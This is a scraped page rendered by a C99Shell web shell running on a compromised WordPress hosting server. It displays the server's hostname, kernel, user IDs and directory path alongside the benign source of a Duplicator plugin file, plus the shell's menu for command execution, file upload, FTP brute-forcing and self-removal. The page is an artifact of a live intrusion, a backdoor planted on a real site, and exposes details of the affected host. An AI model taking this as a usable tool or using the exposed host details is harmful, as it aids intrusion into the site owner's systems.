!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/duplicator/classes/ui/   drwxr-xr-x
Free 179.29 GB of 490.84 GB (36.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.ui.viewstate.php (1.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Gets the view state of UI elements to remember its viewable state
 * 
 * Standard: PSR-2
 * @link http://www.php-fig.org/psr/psr-2
 *
 * @package Duplicator
 * @subpackage classes/ui
 * @copyright (c) 2017, Snapcreek LLC
 * @since 1.1.0
 * 
 */

// Exit if accessed directly
if (!defined('DUPLICATOR_VERSION')) {
    exit;
}

class 
DUP_UI_ViewState
{
    
/**
     * The key used in the wp_options table
     *
     * @var string 
     */
    
private static $optionsViewStateKey 'duplicator_ui_view_state';

    
/**
     * Save the view state of UI elements
     *
     * @param string $key A unique key to define the ui element
     * @param string $value A generic value to use for the view state
     *
     * @return bool Returns true if the value was succesfully saved
     */
    
public static function save($key$value)
    {
        
$view_state       = array();
        
$view_state       get_option(self::$optionsViewStateKey);
        
$view_state[$key] = $value;
        
$success          update_option(self::$optionsViewStateKey$view_state);
        return 
$success;
    }

    
/**
     *     Gets all the values from the settings array
     * 
     *  @return array Returns and array of all the values stored in the settings array
     */
    
public static function getArray()
    {
        return 
get_option(self::$optionsViewStateKey);
    }

    
/**
     * Return the value of the of view state item
     * 
     * @param type $searchKey The key to search on
     * @return string Returns the value of the key searched or null if key is not found
     */
    
public static function getValue($searchKey)
    {
        
$view_state get_option(self::$optionsViewStateKey);
        if (
is_array($view_state)) {
            foreach (
$view_state as $key => $value) {
                if (
$key == $searchKey) {
                    return 
$value;
                }
            }
        }
        return 
null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0121 ]--